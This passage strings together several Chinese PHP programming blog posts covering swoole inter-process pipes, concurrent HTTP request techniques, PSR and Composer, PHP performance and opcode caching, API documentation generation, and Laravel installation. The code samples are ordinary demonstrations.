    echo PHP_EOL.PHP_EOL;
 }

function workerFunc(swoole_process $worker){//这里是子进程哦
    $recv = $worker->read();
    echo PHP_EOL. "From Master: $recv\n";
    //send data to master
    $worker->write("hello master , this pipe  is ". $worker->pipe .";  this  pid  is ".$worker->pid."\n");
    sleep(2);
    $worker->exit(0);
}



输出结果


From Worker: 
From Master: hello worker[8007]



From Worker: 
From Master: hello worker[8008]



诶，不一样了有没有。我们再看看创建进程时第二个参数的说明



  $redirect_stdin_stdout，重定向子进程的标准输入和输出。 启用此选项后，在进程内echo将不是打印屏幕，而是写入到管道。读取键盘输入将变为从管道中读取数据。 默认为阻塞读取。




我来说明一下，因为创建的时候指定了true，子进程中echo的内容就到了管道里面，而不是打印在屏幕上（这一点类似于php的ob缓存机制，大家想象一下）

前面说了，进程的通讯是通过从管道里面读/写数据实现的，而 子进程 里 echo 的内容被 重定向到管道里面了，所以，主进程从管道里读到的内容，就是 子进程中 echo 的 内容。

也就造成了上面的 输出结果。


消息队列


我先来个链接 利用PHP操作Linux消息队列完成进程间通信

重点是这个文章里面的两个链接文章啊，大家等会看看

还有一个命令



  ipcs -q 查看当前的消息队列




这部分 下次讨论


 成为PHP程序员的正确姿势

作者：JellyBool

来源： 成为PHP程序员的正确姿势



                    
利益相关：以下的所有文字都是仅代表个人观点，不代表全组织的利益。


本人就是一大三狗，自学PHP时间已经快两年了，感觉自己还是一个入门级的选手。说说自己是如何一步步走过来的。


1. 官方文档


对，我还是坚持那个观点：80%的代码问题都可以通过仔细阅读文档解决。


所以如果你要学习PHP，那么PHP的官方文档你绝对是避免不了的。你可能在刚刚开始的时候是跟着某个老师的网上教学视频来学习的，这种学习编程的方式是极好。但是不管这么看视频，你最后还是得回到官网文档，你不用每个函数都被下来，但对于一些常用的函数和核心概念建议保存到大脑的内存区，保证他们可以在需要的时候随时调出来用；一些不太常用的函数你完全可以只记得大概，不太确定的时候回来查看就是了。但不管是哪种内容，你都得仔细阅读其中的内容，包括其中的示例代码。


2. PHP THE RIGHT WAY


我不知道其他学习PHP的人是怎么走过来的，我不知道他们有没有发现原来还有这么棒的PHP学习资料。但我相信如果一个人仔细地将PHP THE RIGHT WAY 的内容阅读完了并掌握了其中的大部分知识，这个PHP工程师是很有前途的。因为这对于一个刚参加工作的PHP工程师来说，这有可能就是一月8K和一个月5K的区别了。


3. 多编写网站


编程说到底其实也就是一门手艺，就对于智商差不多的程序员来说，技艺的高超程度往往就在于练的多少了。既然PHP天生就是用来创建Web应用的，那么毫无疑问，多写代码，将自己觉得有意思的点子变成一个个你用代码筑造的网站。没有别的，就是为了多练，这过过程可以让你接触到更多的代码问题，一旦你都解决了这些问题，你的经验值又提高了。


我这么久以来写过好几个站点，印象深刻的有以下几个：



	写了一个众筹方式买东西的站点。就是上面的东西可以多人一起购买，然后轮着用，比如一本书，十个人一起买了这本书，这几个人就可以共享他们的书了。这个印象深刻主要是当时都是原生的PHP写的，从中学到了数据库，http，url传参，跳转等。

	第二个就是一个yii 1.1完全仿照SF来写了一个问答社区。

	第三个就是学院的后台，也是yii写的，这个主要学到如何Ajax上传文件，如何在应用中集成Ueditor


	第四个就是一个粉丝订阅明星演唱会信息的服务站点。如果用户在这里订阅相关的感兴趣的明星，一旦有演唱会要举办的时候，我们就发一封邮件给用户，提醒用户购买门票等。这个站点我已经转向了Laravel。

	最后这个就是近期一直在等备案下来的Blog，之前一直都是用第三方的blog平台，这次干脆根据自己的文章需求写了一个自己用的Blog。



其实在写这些东西的过程中，你解决的问题越多，你的能力提升越多。


4. 上手框架


写代码确实是一门手艺，但是我们在掌握了足够的基本知识之后，我们考虑的问题应该是从怎么创建一个应用上升到怎么更快地写出一个更好的应用。这时候，框架的作用就体现出来了，它不仅可以提高你的开发效率，而且想Laravel之类的框架简直可以让你写代码变得跟说话一样自然，舒服。好好了解框架的MVC是怎么实现，好好看看框架的文档时怎么，好好想想如果我要扩展这个框架，怎样才是最好的模式？基本上遵循：


学习框架 －－> 使用框架 －－> 扩展框架 －－> 贡献框架源码




这样的思路去学习一个框架(虽然还做不到贡献源码)，几乎可以掌握框架的所有知识了，这时你的编程思想和水平都会有很大的提升。


推荐的框架：Laravel Slim Symfony Yii


5. 读源码


如果说多写代码是建造性的学习，那么这里提到的阅读源码就是拆解性的学习。在创造的同时，你不妨多看看那些漂亮的轮子是怎么创造出来，看看人家解决同样的问题是什么样的思路，在你发现大神的思路如此的精彩的同时，你也在潜移默化地吸收着大神的思路。


今晚先写到这，太困了。早上起来再补下


Happy Hacking
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PHP编程中的并发

周末去北京面了两个公司，认识了几位技术牛人，面试中聊了很多，感觉收获颇丰。认识到了自己的不足之处，也坚定了自己对计算机学习的信心。本文是对其中一道面试题的总结。



面试中有一个问题没有很好的回答出来，题目为：并发3个http请求，只要其中一个请求有结果，就返回，并中断其他两个。

当时考虑的内容有些偏离题目原意， 一直在考虑如何中断http请求，大概是在 client->recv() 之前去判断结果是否已经产生，所以回答的是用 socket 去发送一个 http 请求，把 socket 加入 libevent 循环监听，在callback中判断是否已经得到结果，如果已经得到结果，就直接 return。

后来自己越说越觉得不对，既然已经recv到结果，就不能算是中断http请求。何况自己从来没用过libevent。后来说了还说了两种实现，一个是用 curl_multi_init, 另一个是用golang实现并发。
golang的版本当时忘了close的用法，结果并不太符合题意。

这题没答上来，考官也没为难我。但是心里一直在考虑，直到面试完走到楼下有点明白什么意思了，可能考的是并发，进程线程的应用。所以总结了这篇文章，来讲讲PHP中的并发。
本文大约总结了PHP编程中的五种并发方式，最后的Golang的实现纯属无聊，可以无视。如果有空，会再补充一个libevent的版本。

curl_multi_init

文档中说的是 Allows the processing of multiple cURL handles asynchronously. 确实是异步。这里需要理解的是select这个方法，文档中是这么解释的Blocks until there is activity on any of the curl_multi connections.。了解一下常见的异步模型就应该能理解，select, epoll，都很有名，这里引用一篇非常好的文章，有兴趣看下解释吧。

<?php
// build the individual requests as above, but do not execute them
$ch_1 = curl_init('http://www.baidu.com/');
$ch_2 = curl_init('http://www.baidu.com/');
curl_setopt($ch_1, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch_2, CURLOPT_RETURNTRANSFER, true);

// build the multi-curl handle, adding both $ch
$mh = curl_multi_init();
curl_multi_add_handle($mh, $ch_1);
curl_multi_add_handle($mh, $ch_2);

// execute all queries simultaneously, and continue when all are complete
$running = null;
do {
   curl_multi_exec($mh, $running);
   $ch = curl_multi_select($mh);
   if($ch !== 0){
       $info = curl_multi_info_read($mh);
       if($info){
           var_dump($info);
           $response_1 = curl_multi_getcontent($info['handle']);
           echo "$response_1 \n";
           break;
       }
   }
} while ($running > 0);

//close the handles
curl_multi_remove_handle($mh, $ch_1);
curl_multi_remove_handle($mh, $ch_2);
curl_multi_close($mh);

这里我设置的是，select得到结果，就退出循环，并且删除 curl resource, 从而达到取消http请求的目的。

swoole_client

swoole_client提供了异步模式，我竟然把这个忘了。这里的sleep方法需要swoole版本大于等于1.7.21, 我还没升到这个版本，所以直接exit也可以。

<?php
$client = new swoole_client(SWOOLE_SOCK_TCP, SWOOLE_SOCK_ASYNC);
//设置事件回调函数
$client->on("connect", function($cli) {
    $req = "GET / HTTP/1.1\r\n
    Host: www.baidu.com\r\n
    Connection: keep-alive\r\n
    Cache-Control: no-cache\r\n
    Pragma: no-cache\r\n\r\n";

    for ($i=0; $i < 3; $i++) {
        $cli->send($req);
    }
});
$client->on("receive", function($cli, $data){
    echo "Received: ".$data."\n";
    exit(0);
    $cli->sleep(); // swoole >= 1.7.21
});
$client->on("error", function($cli){
    echo "Connect failed\n";
});
$client->on("close", function($cli){
    echo "Connection close\n";
});
//发起网络连接
$client->connect('183.207.95.145', 80, 1);

process

哎，竟然忘了 swoole_process, 这里就不用 pcntl 模块了。但是写完发现，这其实也不算是中断请求，而是哪个先到读哪个，忽视后面的返回值。

<?php

$workers = [];
$worker_num = 3;//创建的进程数
$finished = false;
$lock = new swoole_lock(SWOOLE_MUTEX);

for($i=0;$i<$worker_num ; $i++){
    $process = new swoole_process('process');
    //$process->useQueue();
    $pid = $process->start();
    $workers[$pid] = $process;
}

foreach($workers as $pid => $process){
    //子进程也会包含此事件
    swoole_event_add($process->pipe, function ($pipe) use($process, $lock, &$finished) {
        $lock->lock();
        if(!$finished){
            $finished = true;
            $data = $process->read();
            echo "RECV: " . $data.PHP_EOL;
        }
        $lock->unlock();
    });
}

function process(swoole_process $process){
    $response = 'http response';
    $process->write($response);
    echo $process->pid,"\t",$process->callback .PHP_EOL;
}

for($i = 0; $i < $worker_num; $i++) {
    $ret = swoole_process::wait();
    $pid = $ret['pid'];
    echo "Worker Exit, PID=".$pid.PHP_EOL;
}

pthreads

编译pthreads模块时，提示php编译时必须打开ZTS, 所以貌似必须 thread safe 版本才能使用. wamp中多php正好是TS的，直接下了个dll, 文档中的说明复制到对应目录，就在win下测试了。 还没完全理解，查到文章说 php 的 pthreads 和 POSIX pthreads是完全不一样的。代码有些烂，还需要多看看文档，体会一下。

<?php
class Foo extends Stackable {
    public $url;
    public $response = null;
    public function __construct(){
        $this->url = 'http://www.baidu.com';
    }
    public function run(){}
}

class Process extends Worker {
    private $text = "";
    public function __construct($text,$object){
        $this->text = $text;
        $this->object = $object;
    }
    public function run(){
        while (is_null($this->object->response)){
            print " Thread {$this->text} is running\n";
            $this->object->response = 'http response';
            sleep(1);
        }
    }
}

$foo = new Foo();

$a = new Process("A",$foo);
$a->start();

$b = new Process("B",$foo);
$b->start();

echo $foo->response;


yield

yield生成的generator,可以中断函数，并用send向 generator 发送消息。
稍后补充协程的版本。还在学习中。

Golang

用Go实现比较简单, 回家后查了查 close，处理一下 panic就ok了。代码如下：

package main

import (
    "fmt"
)

func main() {
    var result chan string = make(chan string, 1)
    for index := 0;  index< 3; index++ {
        go doRequest(result)
    }

    res, ok := <-result
    if ok {
        fmt.Println("received ", res)
    }

}

func doRequest(result chan string)  {
    response := "http response"
    defer func() {
        if x := recover(); x != nil {
            fmt.Println("Unable to send: %v", x)
        }
    }()
    result <- response
    close(result)
}

上面的几个方法，除了 curl_multi_* 貌似符合题意外(不确定，要看下源码)，其他的方法都没有中断请求后recv()的操作, 如果得到response后还有后续操作，那么是有用的，否则并没有什么意义。想想可能是PHP操作粒度太大， 猜测用 C/C++ 应该能解决问题。

写的时候没有注意到一个问题，有些方式是返回值，有些直接打印了，这样不好，应该统一使用返回值得到请求结果。能力有限，先这样吧。

最后要做个广告，计蒜客是一家致力于计算机科学高端教育的公司，如果你对编程或者计算机底层有兴趣，不妨去他们网站学习学习。
同时，公司也一直在招人，如果你对自己的能力有信心，可以去试试。公司非常自由开放，90后为主。牛人也有不少，ACM世界冠军，知乎大牛。
公司主做教育，内部学习资料必须给力，我只看到了一些关于操作系统的测试题，涉及到的知识面很广，可见公司平均技术能力有多厉害。

如果文章中有疏漏，错误，还请大神们不吝指出，帮助菜鸟进步，谢谢。
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首先你应该是在用 PHP 5.3 以上的版本，如果 PHP 版本在这之下，是时候该升级了。我建议如果有条件，最好使用最新的版本。

你应该看过 PHP The Right Way，这篇文章包含了很多内容，而且还能再扩展开。大部分的名词和概念你都需要了解。

1. PSR

The idea behind the group is for project representatives to talk about the commonalities between our projects and find ways we can work together.



在之前的文章中以及跟同事交流的过程中我多次提到过 PSR（PHP Standard Recommendation）。很多人以为 PSR 只是做一些规范代码风格等无关痛痒的事情，但其实远不止此。

PSR 的一系列标准文档由 php-fig (PHP Framework Interop Group)起草和投票决议，投票成员中有一些主流框架和扩展的作者，包括 Laravel、Symfony、Yii等等。

按照其官网的说法，这个组织的目的并不是告诉你你应该怎么做，只是一些主流的框架之间相互协商和约定。但是我相信这些框架和扩展中总会有你用到的。

PSR 目前通过的共有 6 份文档：


	0：自动加载（主要是针对 PHP 5.3 以前没有命名空间的版本）


	1：编码规范


	2：编码风格推荐


	3：Log 结果


	4：自动加载更细（在出现命名空间后有很大的改变）


	7：HTTP 消息接口




目前在起草（Draft）中的还有 PSR-5(PHPDoc Standard)、PSR-6(Cache)等。5 和 6 没有出现在以上的列表中，是因为还没有投票通过。

我相信随着标准的不断更新，你会发现研究这些约定对你也是很有裨益的，虽然未必什么都要遵守。

Nobody in the group wants to tell you, as a programmer, how to build your application.



2. Composer

Composer is a tool for dependency management in PHP. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you.



composer 和 Pear、Pecl 都不同，它不仅仅是用于安装扩展，更重要的是定义了一种现代 PHP 框架的实现和扩展管理的方法。类似 node.js 的 npm、Python 的 pip 但又比以上做的更多。

composer 的核心是实现扩展的标准安装和类的自动加载。通过 packagist.org 这个平台，无数的扩展组件可以被很方便的引入，目前比较知名的 PHP 扩展都可以通过 composer 安装了。而调用仅仅只需要加载一个 autoload.php 的文件即可。

composer 是通过 spl_autoload_register 方法注册一个自动加载方法实现扩展类和文件的加载的，当然这中间 composer 也做了一个优化。

我们都知道 PHP 引入文件要通过 include 和 require 实现，这其实写起来并不好看。 PHP 5.3 提供了命名空间，这本来和文件引入也不相干。但是 composer 实现了 PSR-4（在老版本的 PHP 上是 PSR-0），使用 use 时通过调用 spl_autoload_register 实现的方法在调用时加载所需要的类，在写法上类似 Python 的 import，即美观也起到了按需加载、延迟加载的作用。

3. php-cs-fixer

The PHP Coding Standards Fixer tool fixes most issues in your code when you want to follow the PHP coding standards as defined in the PSR-1 and PSR-2 documents.



这个工具的作用是按照 PSR-1 和 PSR-2 的规范格式化你的代码，还有一些可选的编码风格是 Symfony 的规范。

这个其实本来并没有那么值得一说，只是最近在几个开源框架中都看到了 .php_cs 的文件，一时好奇，深究下去才发现了这个项目。

项目地址：https://github.com/FriendsOfPHP/PHP-CS-Fixer

具体的使用和配置方法在其项目主页上都有介绍。这个组织的名字也很有趣：FriendsOfPHP。主要的成员大概是来自 Symfony 项目中。

可能有人觉得纠结代码风格的问题其实没有特别大的必要。要说好处我也说不上来，如果你觉得编程不仅仅是一份工作，那这就跟你收拾房间一样，邋遢的房间不影响你吃饭睡觉，但干净的看起来更舒服。如果要和别人合作，那这件事情就更重要了。

4. PsySH

A runtime developer console, interactive debugger and REPL for PHP.



PsySH 类似 Python 的 IDLE 的一个 PHP 的交互运行环境。这个是我在 Laravel 中发现的，Laravel 5 的 artisan tinker 的功能是通过它来实现的。Laravel 4 中用的是另外一个项目：boris。

这个主要是在平时测试一些 php 的简单的函数和特性的时候可以方便使用。遇到一些不确定的事情、比如 empty 的使用等，可以用它来做些测试。

5. 一些框架和组件

框架

我比较喜欢的是 Laravel，目前公司在用的是 Yii2，我关注的有 Symfony 以及 Phalcon （C语言实现）。用什么不用什么，主要是喜好，有时候也由不得自己选择，但研究一下，多一分了解也未尝不可。

提到 Laravel 很多人都会立马想到 Ruby on Rails。我想模仿或者抄袭这都不是主要的目的，主要的目的是提供给开发者一个更好的工具。Laravel 好在它有一个不一样的路由控制（不带 Action 后缀或前缀的），有一个好用的 ORM (Eloquent)，好用的模板引擎 (Blade) 亦或有一个颜值比较高的文档（社区看到的话）等等。

强大有时候也会被人诟病庞大，但这在于你需要了解自己项目的中长期规划，项目现在的大小以及未来的大小及承载。

Larval 的核心实现是一个容器（Container）以及 PHP 的反射类（ReflectionClass）（Yii 2 也是一样）。要理解这些，多看文章和文档的同时，也可以看看源码。

Symfony 2 提供了很多组件。http-kernel 和 http-foundation 在 Laravel 中也有被继承过来直接使用。它是值得了解和学习的。

CodeIgniter 是一个小巧而强大的框架。虽然 CI 并没有使用 Composer 组件的方式进行开发，但 3.0 以后的版本也加入了 Composer 的支持（这无非就是多一个 vendor 的目录，引入 autoload.php）的文件。

ORM

ORM 亦或 Active Record 我觉得还是需要的。也许有人认为 PHP 就是一个模板引擎、就应该手写 SQL 。不要被这些话所困扰。

CodeIgniter 中 Active Record 的实现方式很轻巧，但对于 CI 本身的体量来说，已经是很好用的了。

Laravel 实现的 Eloquent 我是很喜欢的，也可以集成到别的项目中去。Symfony 2 使用的是 Doctrine ,这个项目也值得关注。Yii 2 也有自己的一套实现方式。

模板引擎

模板引擎需要做三件事情：


	变量值的输出（echo）,


	条件判断和循环（if ... else、for、foreach、while）


	引入或继承自其他文件




Laravel 实现的 Blade 是一个比较轻量好用的模板引擎。不过目前并不是很好能够引入到其他框架中。十一的时候闲来无事试图将其引入到 Yii 2 中，现在还只是简单的实现，我希望后面能将 Blade 的解析部分单独抽取出来做一个轻量的实现。在 Github 上搜一下发现也有人在做同样的事情。

Yii 2 似乎更推荐就用原生的 PHP 去写，不过也提供了支持 Smarty 和 Twig 的扩展。Symfony 2 则采用了 Twig。Twig 和 Symfony 以及上文提到的 php-cs-fixer 都是 SensioLabs 的作品。

Smarty 是一个古老而顽强的模板引擎。说实话我并不是太喜欢，其语法过于复杂，变量赋值这些事情都有自己的一套做法。现在的版本中更是使用 Lexer 的方式来解析文件，感觉像是用 PHP 实现了另外一种语言。项目里面还有一些太长的正则表达式、太复杂的实现，我觉得这是一件很危险很容易出错的事情。

私博地址：0x1.im
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【编者按】此前，阅读过了很多关于 PHP 性能分析的文章，不过写的都是一条一条的规则，而且，这些规则并没有上下文，也没有明确的实验来体现出这些规则的优势，同时讨论的也侧重于一些语法要点。本文就改变 PHP 性能分析的角度，并通过实例来分析出 PHP 的性能方面需要注意和改进的点。

对 PHP 性能的分析，我们从两个层面着手，把这篇文章也分成了两个部分，一个是宏观层面，所谓宏观层面，就是 PHP 语言本身和环境层面，一个是应用层面，就是语法和使用规则的层面，不过不仅探讨规则，更辅助以示例的分析。

宏观层面，也就是对 PHP 语言本身的性能分析又分为三个方面：


	PHP 作为解释性语言性能有其天然的缺陷


	PHP 作为动态类型语言在性能上也有提升的空间


	当下主流 PHP 版本本身语言引擎性能




一、PHP 作为解释性语言的性能分析与提升

PHP 作为一门脚本语言，也是解释性语言，是其天然性能受限的原因，因为同编译型语言在运行之前编译成二进制代码不同，解释性语言在每一次运行都面对原始脚本的输入、解析、编译，然后执行。如下是 PHP 作为解释性语言的执行过程。



如上所示，从上图可以看到，每一次运行，都需要经历三个解析、编译、运行三个过程。

那优化的点在哪里呢？可以想见，只要代码文件确定，解析到编译这一步都是确定的，因为文件已不再变化，而执行，则由于输入参数的不同而不同。在性能优化的世界里，至上绝招就是在获得同样结果的情况下，减少操作，这就是大名鼎鼎的缓存。缓存无处不在，缓存也是性能优化的杀手锏。于是乎 OpCode 缓存这一招就出现了，只有第一次需要解析和编译，而在后面的执行中，直接由脚本到 Opcode，从而实现了性能提速。执行流程如下图所示：



相对每一次解析、编译，读到脚本之后，直接从缓存读取字节码的效率会有大幅度的提升，提升幅度到底有多大呢？

我们来做一个没有 Opcode 缓存的实验。20 个并发，总共 10000 次请求没有经过 opcode 缓存的请求，，得到如下结果：



其次，我们在服务器上打开 Opcode 缓存。要想实现 opcode 缓存，只需要安装 APC、Zend OPCache、eAccelerator 扩展即可，即使安装了多个，也只启用其中一个。注意的是，修改了 php.ini 配置之后，需要重新加载 php-fpm 的配置。

这里分别启用 APC 和 Zend OPCache 做实验。启用 APC 的版本。



可以看到，速度有了较大幅度的提升，原来每个请求 110ms，每秒处理请求 182 个，启用了 APC 之后 68ms，每秒处理请求 294 个，提升速度将近 40%。

在启用了 Zend Opcache 的版本中，得到同 APC 大致相当的结果。每秒处理请求 291 个，每请求耗时 68.5ms。



从上面的这个实验可以看到，所用的测试页面，有 40ms 以上的时间花在了语法解析和编译这两项上。通过将这两个操作缓存，可以将这个处理过程的速度大大提升。

这里附加补充一下，OpCode 到底是什么东东，OpCode 编译之后的字节码，我们可以使用bytekit 这样的工具，或者使用 vld PHP 扩展来实现对 PHP 的代码编译。如下是 vld 插件解析代码的运行结果。



可以看到每一行代码被编译成相应的 OpCode 的输出。

二、PHP 作为动态类型语言的性能分析与改进

第二个是 PHP 语言是动态类型的语言，动态类型的语言本身由于涉及到在内存中的类型推断，比如在 PHP 中，两个整数相加，我们能得到整数值，一个整数和一个字符串相加，甚至两个字符串相加，都变成整数相加。而字符串和任何类型连接操作都成了字符串。

<?php
$a = 10.11;
$b = "30";
var_dump($a+$b);
var_dump("10"+$b);
var_dump(10+"20");
var_dump("10"+"20");
 

运行结果如下：

float(40.11)
int(40)
int(30)
int(30)


语言的动态类型为开发者提供了方便，语言本身则会因为动态类型而降低效率。在 Swift 中，有一个特性叫类型推断，我们可以看看类型推断会带来多大的一个效率上的差别呢？对于需要类型推断与不需要类型推断两段 Swift 代码，我们尝试编译一下看看效果如何。
第一段代码如下：



这是一段 Swift 代码，字典只有 14 个键值对，这段代码的编译，9 分钟了还没有编译完成（5G 内存，2.4GHz CPU），编译环境为 Swift 1.2，Xcode 6.4。



但是如果调整代码如下：



也就是加上了类型限定，避免了 planeLocation 的类型推断。编译过程花了 2S 。



可见，作为动态类型附加的类型推断操作极大地降低了程序的编译速度。
当然，这个例子有点极端，用 Swift 来类比 PHP 也不一定合适，因为 Swift 语言本身也还在不断的进化过程中。本例子只是表明在编程语言中，如果是动态类型语言，就涉及到对动态类型的处理，从编译的角度讲是会受影响的。

那么作为动态类型的 PHP 的效率如何提升呢？从 PHP 语言本身这个层面是没有办法解决的，因为你怎么写也是动态类型的代码。解决办法就是将PHP转化为静态类型的表示，也就是做成扩展，可以看到，鸟哥的很多项目，比如 Yaf  框架，都是做成了扩展的，当然这也是由于鸟哥是 C 高手。扩展由于是 C 或者 C++ 而写，所以不再是动态类型，又加之是编译好的，而 C 语言本身的效率也会提升很多。所以效率会大幅度提高。

下面我们来看一段代码，这段代码，只是实现了简单的素数运算，能计算指定值以内的素数个数，用的是普通的筛选法。现在看看扩展实现，跟 PHP 原生实现的效率差别，这个差别当然，不仅仅是动态类型和编译类型的差别，还有语言效率的差别。

首先是用纯 PHP 写成的算法，计算 1000 万以内的素数个数，耗时在 33s 上下，实验了三次，得到的结果基本相同。



其次，我们将这个求素数个数的过程，编写成了 PHP 扩展，在扩展中实现了 get_prime_numbers 函数，输入一个整数，返回小于该整数的素数。得到的结果如下，这个效率的提升是非常惊人的，在 1.4s 上下即返回。速度提升 20 倍以上。



可以想见，静态和编译类型的语言，其效率得到了惊人的提升。本程序的 C 语言代码如下：


PHP_FUNCTION(get_prime_numbers)
{
    long value;
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &value) == FAILURE) {
            return;
    }
     int *numbers = (int *)malloc(sizeof(int)*128*10000);
     memset(numbers, 0x0, 128*10000);
    int num = 2;
        numbers[0] = 2;
        numbers[1] = 3;
        bool flag = true;
        double f = 0;
        int i = 0;
        int j = 0;
        for(i=5; i<=value; i+=2)
        {
            flag = true;
            f = sqrt(i);
            for(j=0; j<num;j++)
            {
                if(i%numbers[j]==0)
                {
                    flag = false;
                    break;
                }
                if(numbers[j]>f)
                {
                    break;
                }
            }
            if(flag)
            { 
                numbers[num] = i;
                num++;
            }
        }
        free(numbers);
        RETURN_LONG(num);
}


三、PHP 语言本身底层性能引擎提升

第三个性能优化层面是语言本身的性能提升，这个就不是我们普通开发者所能做的了。在 PHP 7以前，寄希望于小版本的改进，但是改进幅度不是非常的显著，比如 PHP 5.3 、PHP 5.4、PHP 5.5、PHP 5.5 对同一段代码的性能比较，有一定程度的进步。

PHP 5.3 的版本在上面的例子中已讲过，需要 33s 左右的时间，我们现在来看别的PHP版本。分别运行如下：

PHP 5.4 版，相较 5.3 版已经有一定程度的提升。快 6 秒左右。



PHP 5.5 版在 PHP 5.4的基础上又进了一步，快了 6S。



PHP5.6 反而有些退步。



PHP 7 果真是效率提升惊人，是 PHP5.3 的 3 倍以上。



以上是求素数脚本在各个 PHP 版本之间的运行速度区别，尽管只测试了这一个程序，也不是特别的严谨，但是这是在同一台机器上，而且编译 configure 参数也基本一样，还是有一定可比性的。

在宏观层面，除了上面的这些之外，在实际的部署过程中，对 PHP 性能的优化，还体现为要减少在运行中所消耗的资源。所以 FastCGI 模式和 mod_php 的模式比传统的 CGI 模式也更为受欢迎。因为在传统的 CGI 模式中，在每一次脚本运行都需要加载所有的模块。而在程序运行完成了之后，也要释放模块资源。如下图所示：



而在 FastCGI 和 mod_php 模式中，则不需要如此。只有 php-fpm 或者 Apache 启动的时候，需要加载一次所有的模块，在具体的某次运行过程中，并不需要再次加载和释放相关的模块资源。



这样程序性能的效率得到了提升。以上就是有关 PHP 宏观层面的性能优化的分析，在本文的第二部分我们将探讨应用方面的 PHP 优化准则。敬请期待！

本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方博客。


 终于不用再苦逼地写文档了！教你如何生成可调试的API文档

作者：田靖荣

来源： 终于不用再苦逼地写文档了！教你如何生成可调试的API文档



                    
本文写的是什么？

平时总要写文档。不写，代码无法维护，所以不得不写。但是写文档费时费力，更可怕的是写完了读起来还很费劲，束之高阁，总感觉时间浪费掉了，真是苦不堪言。

一直以来深受“写文档”的折磨，偶然看到一篇神文，接着在网上又查了自动化工具和DSL的理论，这才茅塞顿开！虽然大部分都没看懂，但要想做到轻松写出好文档，足矣！

现在就来说说我是怎么办到的吧！

要做什么？

我们的最终目的，是写出好文档。所以，首先我们要确定：什么是好文档。

好文档就如下图所示：



上面的文档好在哪？
首先，它是文档，让你知道它的功能，参数，一目了然；
其次，它是程序，你输入参数就能马上看到结果。

所以，我所希望的事，就是在完成代码后，可以费很少的力气，就生成一个像上文中所说的可调试文档。

我们接下来要做两件事：
1、生成文档；
2、文档是可调试的文档。

怎么做？

现在要开始做了，总感觉有些无从下手，那就先从最具体的事情——目前唯一能看得见的可调试API开始分析吧。

我们最终要做出的可调试API是什么样的呢？

参考之前的效果图，简化一些来说，就是下面这个样子：



纯文字显示类名，方法，功能解释，输入参数；
有一个执行按钮；
有一个区域显示执行结果。

在这个界面中，有哪些是变量呢？


	类名


	列表项目


	方法名


	功能说明


	参数数量


	参数名


	执行结果




其中：一个API对应着一个类名，一个方法名，一个功能说明，多个参数名，执行结果是执行后生成的。

模型分析

根据以上结果，我就可以将这个API抽象出一个模型类了:



一个API包含属性：类名，类文件所在路径，方法名，功能说明以及该方法所需要输入的参数。

而一个参数又包含属性：参数名及参数说明。

事件流

接下来分析一下整个事务流程。

一句话流程：
点击“生成”按钮，生成类的HTML文档。
这就是我们要做的事情，但是说得很不清楚。我们要生成某个类的某个方法对应的HTML文档，但是一句话没有说清。

现在我们要解释清楚，于是把它拓展开来，变成一段话：
配置文件中已指定好待生成文档的类及其方法了，点击“生成按钮”， 读取该配置文件，再依次生成文档。
我们接下去就这样继续拓展下去，直到把所有步骤都搞清楚。

最终设计

整个系统一共有三类页面：
功能页：只有一个生成API的按钮；



类清单页：将类及其方法列出来，点击后跳转至API页面。



API页：列出方法说明，可以输入参数并执行该方法，可查看其执行结果。



三类页面中，第二类类清单页没有什么功能，只涉及到页面跳转，所以只用html实现就行了。
至于功能页和API页都采用MVC模式进行设计。

功能页

MVC结构
Model:API；
View:make_api_template.php；
Controller:create_api.php

MVC调用流程
用户在View层点击“生成”按钮后，触发Controller；
Controller中指定了需要生成API的类，并调用这些类中的静态方法make_api生成了Model;
Controller利用这些Model生成文档

API页

MVC结构
Model：js代码，目前还未形成独立的model；
View:生成的html页；
Controller:index.php

MVC调用流程
用户在View层输入某方法的参数，点击“执行”按钮后触发Controller；
Controller根据View页传来的参数，执行方法，得到结果后返回给View；
View接收到结果并将其显示出来

结语

我实现的版本是CohenBible。

类似的工具有很多，prmd，swagger editor， apidocjs，都很好用。
写这篇文章不是鼓励大家重复造轮子，但是自己实现过一遍，会有不一样的收获。

我为什么会想到重复造轮子呢？
其实最大的原因就是：真的不太会用上面的几个工具，只好自己实现，把整个生成文档的流程走了一遍。结果，回过头再来看上面的工具，竟然拿来就能用了！如果是按官方的教程走，不知道还要花多少时间，哈哈:)


 Laravel系列教程一：安装及环境配置

作者：JellyBool

来源： Laravel系列教程一：安装及环境配置



                    
免费视频教程地址 https://laravist.com/series/laravel-5-basic


原文来自：https://jellybool.com/post/programming-with-laravel-5-installation-and-settings

系列文章看专栏：http://segmentfault.com/blog/jellybool



最近在SF上面看到越来越多的Laravel相关的问题，而作为一个Laravel的脑残粉，本来打算有机会录视频教程放出来的，不过这个计划貌似由于某些原因必须得推迟一段时间，所以现在先把文章的系列教程写出来吧。

首先需要说明的是，这个教程对于完全没有上手Laravel的人来说，我尽量将一些概念和重点说清楚，不过你也不需要担心这需要花很多时间来跟着这个教程学习Laravel，我相信，如果你认认真真跟着教程将代码敲过一遍，相信你对Laravel会有一个清晰的认识。

开始之前：这个教程打算是每天一篇，首先是会涵盖很多Laravel的基础知识。然后我还打算出教程说说Laravel的Eloquent和它的一些棒的特性比如Schedule Command等，至于是博客的形式还是录视频的形式，后面看情况吧，所以现在是开始我们的Laravel教程了。

这一节的内容：


	我首先会说明怎么安装Laravel


	说说Homestead这个开发环境




安装Laravel

本系列教材基于Laravel 5.1 稳定版



恩，像几乎所有框架的开始一样，我们需要知道怎么安装Laravel。

这里首推的是使用Composer安装Laravel，如果你还没有接触过Composer，你可以到官网这里来看看：

安装：https://getcomposer.org/download/

文档：https://getcomposer.org/doc/

这里给出的建议是，如果你希望在PHP这条道路走下去，那么你必须学会使用Composer，不要将PHP的印象停留在10年之前了，我们(PHP开发者)也是有很棒的工具的！



如果你的机子上安装过Composer，请忽略上面的话。

上面的废话说完了，直接进入正题：

博主的代码放在 ~/Code 目录之下，也就是打开命令行工具，直接就 cd Code/ 就可以进入到我的项目代码目录



在Code/目录下执行Composer安装命令：

composer create-project laravel/laravel blog


上面的命令通常是需要等一段时间才可以完成Laravel的安装(请使用VPN)，趁这个机会来说说Composer的一小点知识。

